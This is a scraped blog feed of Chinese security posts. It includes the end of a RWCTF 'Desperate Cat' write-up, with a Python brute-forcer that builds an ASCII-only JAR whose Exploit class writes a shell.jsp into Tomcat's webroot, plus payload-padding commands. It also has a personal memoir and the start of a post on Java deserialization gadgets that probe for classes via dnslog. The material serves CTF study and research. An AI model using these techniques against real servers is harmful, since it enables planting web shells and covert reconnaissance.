struct.pack(<span class="string">'<L'</span>, len(compressed_data) % pow(<span class="number">2</span>, <span class="number">32</span>)) +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, len(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>)) +</span><br><span class="line"> struct.pack(<span class="string">'<H'</span>, len(zip_entry_filename)) +</span><br><span class="line"> <span class="string">b'\0\0'</span> +</span><br><span class="line"> zip_entry_filename +</span><br><span class="line"> compressed_data +</span><br><span class="line"> <span class="string">b'PK\1\2\0\0'</span> + <span class="comment"># Magic</span></span><br><span class="line"> binascii.unhexlify(</span><br><span class="line"> <span class="string">'0a000000'</span> + <span class="comment"># Version needed to extract</span></span><br><span class="line"> <span class="string">'080000000000'</span></span><br><span class="line"> ) +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, crc) +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, len(compressed_data) % pow(<span class="number">2</span>, <span class="number">32</span>)) +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, len(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>)) +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, len(zip_entry_filename)) +</span><br><span class="line"> <span class="string">b'\0'</span> * <span class="number">10</span> +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, <span class="number">0</span>) + <span class="comment"># offset of file in archive</span></span><br><span class="line"> zip_entry_filename +</span><br><span class="line"> <span class="string">b'PK\5\6\0\0\0\0\0\0'</span> + <span class="comment"># Magic</span></span><br><span class="line"> struct.pack(<span class="string">'<H'</span>, <span class="number">1</span>) + <span class="comment"># number of files</span></span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, len(zip_entry_filename) + <span class="number">0x2e</span>) + <span class="comment"># size of CD</span></span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, len(compressed_data) + len(zip_entry_filename) + <span class="number">0x1e</span>) + <span class="comment"># offset of CD</span></span><br><span class="line"> <span class="string">b'\0\0'</span></span><br><span class="line"> )</span><br></pre></td></tr></table></figure><p>要想让所有部分都在限定的ASCII范围,其实是需要如下7个部分要满足要求。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> compressed_data</span><br><span class="line"><span class="number">2.</span> struct.pack(<span class="string">'<L'</span>, crc)</span><br><span class="line"><span class="number">3.</span> struct.pack(<span class="string">'<L'</span>, len(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>))</span><br><span class="line"><span class="number">4.</span> struct.pack(<span class="string">'<L'</span>, len(compressed_data) % pow(<span class="number">2</span>, <span class="number">32</span>))</span><br><span class="line"><span class="number">5.</span> struct.pack(<span class="string">'<L'</span>, len(zip_entry_filename))</span><br><span class="line"><span class="number">6.</span> struct.pack(<span class="string">'<L'</span>, len(zip_entry_filename) + <span class="number">0x2e</span>)</span><br><span class="line"><span class="number">7.</span> struct.pack(<span class="string">'<L'</span>, len(compressed_data) + len(filename) + <span class="number">0x1e</span>)</span><br></pre></td></tr></table></figure><p>这里<code>zip_entry_filename</code>为<code>Exploit.class</code>的话,5和6是满足要求的。1条件中的<code>compressed_data</code>是deflate算法压缩后的数据,这部分是可以调用<code>ascii-zip</code>项目中的实现来构造的。所以还剩下4部分需要限定下。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> struct.pack(<span class="string">'<L'</span>, crc)</span><br><span class="line"><span class="number">2.</span> struct.pack(<span class="string">'<L'</span>, len(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>))</span><br><span class="line"><span class="number">3.</span> struct.pack(<span class="string">'<L'</span>, len(compressed_data) % pow(<span class="number">2</span>, <span class="number">32</span>))</span><br><span class="line"><span class="number">4.</span> struct.pack(<span class="string">'<L'</span>, len(compressed_data) + len(zip_entry_filename) + <span class="number">0x1e</span>)</span><br></pre></td></tr></table></figure><p>一个文件的<code>crc</code>,<code>raw_data</code>和<code>compressed_data</code>之间都是互相有影响的。当然可以尝试寻找一个数学公式能表达它们的关系,最终计算出符合条件的jar格式。这个显然是优雅的,但是实现成本比较高。我最终采用的是往class不断填充垃圾数据,直到4个部分都符合要求。</p><h2 id="0x02-编写爆破脚本"><a href="#0x02-编写爆破脚本" class="headerlink" title="0x02 编写爆破脚本"></a>0x02 编写爆破脚本</h2><p>假设我们构造的jar是往web目录下写一个jsp,代码可以如下,其中<code>paddingData</code>字段是填充垃圾数据的地方。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.jasper.compiler.StringInterpreter;</span><br><span class="line"><span class="keyword">import</span> org.apache.jasper.compiler.StringInterpreterFactory;</span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Exploit</span> <span class="keyword">implements</span> <span class="title">StringInterpreter</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> String paddingData = <span class="string">"{PADDING_DATA}"</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 要执行的代码</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Exploit</span><span class="params">()</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> String shell = <span class="string">"<%out.println(\\"</span>Exploit by c0ny1<span class="meta">@sglab</span>\\<span class="string">");%>"</span>;</span><br><span class="line"> FileOutputStream fos = <span class="keyword">new</span> FileOutputStream(<span class="string">"/opt/tomcat/webapps/ROOT/shell.jsp"</span>);</span><br><span class="line"> fos.write(shell.getBytes());</span><br><span class="line"> fos.close();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 防止后续tomcat编译jsp报错</span></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">convertString</span><span class="params">(Class<?> c, String s, String attrName, Class<?> propEditorClass, <span class="keyword">boolean</span> isNamedAttribute)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> StringInterpreterFactory.DefaultStringInterpreter().convertString(c,s,attrName,propEditorClass,isNamedAttribute);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>使用上面作为模版代码,编写python脚本不断向paddingData字段填充垃圾数据,然后javac编译,最后计算class文件压缩之后是否符合条件。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># autor: c0ny1</span></span><br><span class="line"><span class="comment"># date 2022-02-13</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> compress <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">allow_bytes = []</span><br><span class="line">disallowed_bytes = [<span class="number">38</span>,<span class="number">60</span>,<span class="number">39</span>,<span class="number">62</span>,<span class="number">34</span>,<span class="number">40</span>,<span class="number">41</span>] <span class="comment"># &<'>"()</span></span><br><span class="line"><span class="keyword">for</span> b <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">128</span>): <span class="comment"># ASCII</span></span><br><span class="line"> <span class="keyword">if</span> b <span class="keyword">in</span> disallowed_bytes:</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> allow_bytes.append(b)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> padding_char = <span class="string">'A'</span> <span class="comment"># 填充的字符</span></span><br><span class="line"> raw_filename = <span class="string">'Exploit.class'</span> <span class="comment"># 原文件名</span></span><br><span class="line"> zip_entity_filename = <span class="string">'Exploit.class'</span> <span class="comment"># 压缩文件名</span></span><br><span class="line"> jar_filename = <span class="string">'ascii01.jar'</span> <span class="comment"># 保存文件名</span></span><br><span class="line"> num = <span class="number">1</span></span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> <span class="comment"># step1 动态生成java代码并编译</span></span><br><span class="line"> javaCode = <span class="string">"""</span></span><br><span class="line"><span class="string"> java模版代码</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> padding_data = padding_char * num</span><br><span class="line"> javaCode = javaCode.replace(<span class="string">"{PADDING_DATA}"</span>, padding_data)</span><br><span class="line"></span><br><span class="line"> f = open(<span class="string">'Exploit.java'</span>, <span class="string">'w'</span>)</span><br><span class="line"> f.write(javaCode)</span><br><span class="line"> f.close()</span><br><span class="line"> time.sleep(<span class="number">0.1</span>)</span><br><span class="line"></span><br><span class="line"> os.system(<span class="string">"javac -nowarn -g:none -source 1.5 -target 1.5 -cp jasper.jar Exploit.java"</span>)</span><br><span class="line"> time.sleep(<span class="number">0.1</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># step02 计算压缩之后的各个部分是否在允许的ASCII范围</span></span><br><span class="line"> raw_data = bytearray(open(raw_filename, <span class="string">'rb'</span>).read())</span><br><span class="line"> compressor = ASCIICompressor(bytearray(allow_bytes))</span><br><span class="line"> compressed_data = compressor.compress(raw_data)[<span class="number">0</span>]</span><br><span class="line"> crc = zlib.crc32(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>)</span><br><span class="line"></span><br><span class="line"> st_crc = struct.pack(<span class="string">'<L'</span>, crc)</span><br><span class="line"> st_raw_data = struct.pack(<span class="string">'<L'</span>, len(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>))</span><br><span class="line"> st_compressed_data = struct.pack(<span class="string">'<L'</span>, len(compressed_data) % pow(<span class="number">2</span>, <span class="number">32</span>))</span><br><span class="line"> st_cdzf = struct.pack(<span class="string">'<L'</span>, len(compressed_data) + len(zip_entity_filename) + <span class="number">0x1e</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> b_crc = isAllowBytes(st_crc, allow_bytes)</span><br><span class="line"> b_raw_data = isAllowBytes(st_raw_data, allow_bytes)</span><br><span class="line"> b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes)</span><br><span class="line"> b_cdzf = isAllowBytes(st_cdzf, allow_bytes)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># step03 判断各个部分是否符在允许字节范围</span></span><br><span class="line"> <span class="keyword">if</span> b_crc <span class="keyword">and</span> b_raw_data <span class="keyword">and</span> b_compressed_data <span class="keyword">and</span> b_cdzf:</span><br><span class="line"> print(<span class="string">'[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'</span>.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))</span><br><span class="line"> <span class="comment"># step04 保存最终ascii jar</span></span><br><span class="line"> output = open(jar_filename, <span class="string">'wb'</span>)</span><br><span class="line"> output.write(wrap_jar(raw_data,compressed_data, zip_entity_filename.encode()))</span><br><span class="line"> print(<span class="string">'[+] Generate {0} success'</span>.format(jar_filename))</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> print(<span class="string">'[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'</span>.format(b_crc, b_raw_data,</span><br><span class="line"> b_compressed_data, b_cdzf, num,</span><br><span class="line"> padding_char))</span><br><span class="line"> num = num + <span class="number">1</span></span><br></pre></td></tr></table></figure><p>我这边的编译环境是填充了<code>248个A</code>就满足要求了。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">➜ ascii-jar git:(master) ✗ python3 ascii-jar-1.py</span><br><span class="line">[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 1*A</span><br><span class="line">[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 2*A</span><br><span class="line">[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 3*A</span><br><span class="line">......</span><br><span class="line">[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 247*A</span><br><span class="line">[+] CRC:True RDL:True CDL:True CDAFL:True Padding data: 248*A</span><br><span class="line">[+] Generate ascii01.jar success</span><br></pre></td></tr></table></figure><h2 id="0x03-前后脏数据的处理"><a href="#0x03-前后脏数据的处理" class="headerlink" title="0x03 前后脏数据的处理"></a>0x03 前后脏数据的处理</h2><p>zip格式的文件都是支持前后加脏数据的,不过加脏数据之后需要修复下各类<code>offset</code>。可以使用zip命令进行修复,为了省事,这里我直接使用phith0n师傅的<a href="https://github.com/phith0n/PaddingZip" target="_blank" rel="noopener">PaddingZip</a>项目来修复。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ python3 paddingzip.py -i ascii01.jar -o payload.jar -p <span class="string">"DIRTY DATA AT THE BEGINNING "</span> -a <span class="string">"C0NY1 DIRTY DATA AT THE END"</span></span><br><span class="line">file <span class="string">'payload.jar'</span> is generated</span><br></pre></td></tr></table></figure><p>可能你会有疑问,为啥末尾的脏数据是<code>C0NY1</code> + <code>DIRTY DATA AT THE END</code>。这是因为题目的代码,在获取参数时进行了<code>trim</code>操作。</p><p><img src="/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/trim.png" alt="trim方法的逻辑"></p><p>trim操作会将字符串首尾小于或等于<code>\u0020</code>的字符清理掉,而正常的zip文件末尾都是<code>00</code>等空字节结尾的,这会导致末尾数据丢失。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// java.lang.String#trim</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">trim</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> len = value.length;</span><br><span class="line"> <span class="keyword">int</span> st = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">char</span>[] val = value; <span class="comment">/* avoid getfield opcode */</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> ((st < len) && (val[st] <= <span class="string">' '</span>)) {</span><br><span class="line"> st++;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span> ((st < len) && (val[len - <span class="number">1</span>] <= <span class="string">' '</span>)) {</span><br><span class="line"> len--;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> ((st > <span class="number">0</span>) || (len < value.length)) ? substring(st, len) : <span class="keyword">this</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>为了解决这个问题,我们需要一个大于<code>\u0020</code>的字符插入结尾,比如<code>C0NY1</code>。</p><p>修改offset之后,使用hex编辑器把<code>jar + C0NY1</code>的数据抠出来就是最终要提交的payload了。 </p><p><img src="/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/payload-data.png" alt="最终payload数据"></p><p>构造<code>META-INF/resources/shell.jsp</code>类型的<code>ascii-jar</code>更加简单,感兴趣的直接参考我github项目<a href="https://github.com/c0ny1/ascii-jar" target="_blank" rel="noopener">ascii-jar</a>当中<code>ascii-jar-2.py</code>的代码。</p><p>最后的利用步骤官方Writeup讲的很清楚,这里就不赘述了。</p><p><img src="/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/exploit.png" alt="最终利用"></p><h2 id="0x04-总结"><a href="#0x04-总结" class="headerlink" title="0x04 总结"></a>0x04 总结</h2><p>综合来看WreckTheLine战队的解法,我认为是最好的,两个步骤直接搞定。官方writeup写入非法jar,业务重启会崩溃。Sauercloud战队使用的<code>org.apache.jasper.compiler.StringInterpreter</code>并不能通杀tomcat。</p><p>最后感谢作者提供了这么好的一道ctf题,一道好题就像是一部不错的悬疑片,环环相扣耐人寻味。哪怕是解决之后脑海里依然在思考这些trick在实战中的意义,比如jar中的<code>META-INF/resources/</code>目录是不是可以用来做权限维持?</p><h2 id="0x05-参考资料"><a href="#0x05-参考资料" class="headerlink" title="0x05 参考资料"></a>0x05 参考资料</h2><ul><li><a href="https://mp.weixin.qq.com/s/QQ2xR32Fxj_nnMsFCucbCg" target="_blank" rel="noopener">RWCTF 4th Desperate Cat Writeup</a></li><li><a href="https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html" target="_blank" rel="noopener">https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html</a></li><li><a href="https://github.com/molnarg/ascii-zip" target="_blank" rel="noopener">https://github.com/molnarg/ascii-zip</a></li><li><a href="https://github.com/Arusekk/ascii-zip" target="_blank" rel="noopener">https://github.com/Arusekk/ascii-zip</a></li><li><a href="https://github.com/phith0n/PaddingZip" target="_blank" rel="noopener">https://github.com/phith0n/PaddingZip</a></li></ul>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>忆魁兄</title>
<link href="/articles/2022/remember-my-brother-qui/"/>
<url>/articles/2022/remember-my-brother-qui/</url>
<content type="html"><![CDATA[<p>早上起来做早餐,发现窗外的北京城下起了鹅毛大雪。让我突然想起大学一个“有味道”的人以及他的事。真是飞雪窗边过,故人心上来。下文是大学时写的与他的记忆,且仅有此篇,毕业后也再没他的消息。</p><p><img src="/articles/2022/remember-my-brother-qui/snow-outside-the-window.jpeg" alt="窗边飞雪"></p><p>魁兄,小我一届,爱诗喜酒嗜编程,是我目前认识的最有才情的程序猿。原先虽然同处一个工作室,然生活并无交集。</p><p>真正认识是在一年冬天的夜晚,工作室三大学霸因获得奖学金而请通宵唱歌,而我和他正好在邀请之列。</p><p>麦霸们开始争相在点播机前点歌,酒鬼们也用他们坚硬的牙齿翘开一瓶又一瓶黄河啤酒,“烟筒”们自然也没有闲着嘴,叼着黑兰州并互相给对方点火,不时吐出一抹白烟,缭绕在空气中。我就穿梭在这些之间,乐此不彼。</p><p>魁兄到是不识人间烟火,手里握着还没拧开口的白酒,安静的坐在一个被人遗忘的角落,不说话。脸上平静而祥和,到是有点像暮年的老者看着一群年轻人狂欢的寂寞。ktv红红绿绿的灯光,和他似乎有些格格不入。我以为没人跟他说话,于是跟工作室其他男男女女寒暄几番之后。我把酒杯藏在身后向他走去,他身边的学弟们也识趣地给我让出一个位置~</p><p>我:“魁兄,你的酒杯呢?”<br>我瞟了他一眼<br>他淡淡说到:“啤酒不醉人,又不暖心,不喜”。<br>我看了看天花板,叹气道:“那咱来一个冬天的白酒”。<br>他:“甚好”<br>⋯⋯⋯⋯</p><p>我们就这样,在红男绿女的狂欢之中,在杯觥交错之间聊起编程,聊起C语言,python,Linux,还聊起了他的诗和故事。其实平生也是第一次在KTV里讨论编程知识,感觉是有点怪怪,不过相谈甚欢。聊天具体的内容我也不太记得了。只记得那个冬天,一杯白酒温暖了整个夜晚⋯⋯</p><p>时间回到了前天夜里,我照常在学院看书,他突然发消息给我说来取他的诗集,我欣喜不已去他宿舍。他做在窗台边,背景是无尽的夜色。</p><p>他平静的说:现在也写不出诗了,我整理了一些能看的凑成一本小册子,你们将就着看吧!<br>我:为何写不出?<br>他打开窗户,外面的雪飘了进来,划过他的臂膀。他背对我说:没感觉了,或许编程太多,或许环境变了,或许我也不知道为何。</p><p>我默不作声,走到门口。<br>我:魁兄既有雪夜赠书之意,我亦有勾句还汝之情。<br>魁兄也不做声,笑的像个孩子一样,甚是可爱</p><p><img src="/articles/2022/remember-my-brother-qui/zixv.jpeg" alt></p><p><img src="/articles/2022/remember-my-brother-qui/mulu.jpeg" alt></p><p><img src="/articles/2022/remember-my-brother-qui/ying-xiang.jpeg" alt></p>]]></content>
<tags>
<tag> 回忆录 </tag>
</tags>
</entry>
<entry>
<title>构造java探测class反序列化gadget</title>
<link href="/articles/2021/construct-java-detection-class-deserialization-gadget/"/>
<url>/articles/2021/construct-java-detection-class-deserialization-gadget/</url>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>你是否遇到过这样的情况,黑盒环境下有一个序列化入口。你将ysoserial所有gadget的测试了一遍,均无法RCE。由于没有报错信息,你根本无法确定是下面那个原因导致。</p><ol><li>没有gadget依赖的jar</li><li>suid不一致</li><li>jar版本不在漏洞版本</li><li>gadget使用的class进入了黑名单</li><li>……</li></ol><p>单纯的盲测,工作量将非常大。如果我们有一个通用的探测某个class是否存在的gadget,这些问题将很好解决!</p><h2 id="0x02-解决serialVersionUID冲突问题"><a href="#0x02-解决serialVersionUID冲突问题" class="headerlink" title="0x02 解决serialVersionUID冲突问题"></a>0x02 解决serialVersionUID冲突问题</h2><p>在构造之前我们先思考一个问题,Java原生反序列化是会检测<code>serialVersionUID</code>的。当我们本地序列化Class和服务器上的Class SUID不一样的时候,哪怕是真实存在这个类,我们也无法探测成功。涉及这一块检测在JDK如下方法中。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// java.io.ObjectStreamClass#initNonProxy</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">initNonProxy</span><span class="params">(ObjectStreamClass model,</span></span></span><br><span class="line"><span class="function"><span class="params"> Class<?> cl,</span></span></span><br><span class="line"><span class="function"><span class="params"> ClassNotFoundException resolveEx,</span></span></span><br><span class="line"><span class="function"><span class="params"> ObjectStreamClass superDesc)</span></span></span><br><span class="line"><span class="function"><span class="keyword">throws</span> InvalidClassException</span>{</span><br><span class="line"> <span class="comment">// model是基于序列化数据构造的ObjectStreamClass对象</span></span><br><span class="line"> suid = Long.valueOf(model.getSerialVersionUID());</span><br><span class="line"> serializable = model.serializable;</span><br><span class="line"> externalizable = model.externalizable;</span><br><span class="line"> ......</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (cl != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="comment">// 通过类名,基于当前运行环境构造的ObjectStreamClass</span></span><br><span class="line"> localDesc = lookup(cl, <span class="keyword">true</span>);</span><br><span class="line"> ......</span><br><span class="line"> <span class="comment">// SUID检查条件:是否都或都没有实现了Serializable接口 && 不是数组类 && suid不相同</span></span><br><span class="line"> <span class="keyword">if</span> (serializable == localDesc.serializable &&</span><br><span class="line"> !cl.isArray() &&</span><br><span class="line"> suid.longValue() != localDesc.getSerialVersionUID())</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> InvalidClassException(localDesc.name,</span><br><span class="line"> <span class="string">"local class incompatible: "</span> +</span><br><span class="line"> <span class="string">"stream classdesc serialVersionUID = "</span> + suid +</span><br><span class="line"> <span class="string">", local class serialVersionUID = "</span> +</span><br><span class="line"> localDesc.getSerialVersionUID());</span><br><span class="line"> }</span><br><span class="line"> ......</span><br><span class="line"> }</span><br><span class="line"> ......</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们不难判断出来如果要绕过<code>serialVersionUID</code>的检查就需要打破3个判断条件中的一个。这里我想到了2个方案进行绕过,假设我们要探测A类存不存在。</p><ol><li><p>动态生成一个<code>A类</code>不实现<code>Serializable</code>接口进行序列化。如果线上的A类是实现Serializable接口,第一个条件就不成立了直接绕过。如果线上的Class没有实现改接口,则两者suid都为<code>0L</code>,第三个条件不符合,自然无需检查。</p></li><li><p>直接序列化<code>A[].class</code>,第二个条件直接不符合,直接不用检查SUID,无需关心实现实现Serializable接口。</p></li></ol><p>这里我选择按照1的方式动态生成Class:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Class <span class="title">makeClass</span><span class="params">(String clazzName)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> ClassPool classPool = ClassPool.getDefault();</span><br><span class="line"> CtClass ctClass = classPool.makeClass(clazzName);</span><br><span class="line"> Class clazz = ctClass.toClass();</span><br><span class="line"> ctClass.defrost();</span><br><span class="line"> <span class="keyword">return</span> clazz;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x03-一次失败的构造"><a href="#0x03-一次失败的构造" class="headerlink" title="0x03 一次失败的构造"></a>0x03 一次失败的构造</h2><p>沿用之前的<a href="https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/">包裹大量脏数据绕WAF的思路</a>来构造,发现LinkedList第一个元素反序列化失败并不会导致反序列化流程停止。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">List<Object> a = <span class="keyword">new</span> LinkedList<Object>();</span><br><span class="line">a.add(makeClass(<span class="string">"TargetClass"</span>));</span><br><span class="line">a.add(<span class="keyword">new</span> URLDNS.getObject(<span class="string">"http://test.dnslog.cn"</span>));</span><br></pre></td></tr></table></figure><p>通过Object属性也无法成功。第一个属性反序列化失败,第二个属性依然会被反序列化。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Class A {</span><br><span class="line"><span class="keyword">private</span> Object a; <span class="comment">// makeClass("TargetClass")</span></span><br><span class="line"><span class="keyword">private</span> Object b; <span class="comment">// new URLDNS.getObject("http://test.dnslog.cn")</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>调试后发现不存在class抛出的<code>ClassNotFoundException</code>异常,被<code>try...catch</code>了,并不能阻断<code>java.io.ObjectInputStream#readObject</code>内部流程,但是可以阻断其他可序列化类的<code>readObject</code>流程。也就是说需要通过ClassNotFoundException来阻断source到sink之间的通路,才能断链。</p><h2 id="0x04-通过dnslog探测class"><a href="#0x04-通过dnslog探测class" class="headerlink" title="0x04 通过dnslog探测class"></a>0x04 通过dnslog探测class</h2><p>在一次午饭的时候和<code>@NoPoint</code>师傅交流,说到了可以改造URLDNS这个gadget探测class,我之前是在fastjson中使用过类似的思路。</p><p>重新分析了下<code>URLDNS</code>的调用链,发现可以在<code>HashMap#readObject</code>处阻断。当反序列化key-value时,如果value是一个不存在的Class的话,将会报错退出for循环,<code>URL对象</code>作为<code>key</code>将不会被<code>putForCreate</code>到<code>hashcode</code>方法触发dnslog。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span 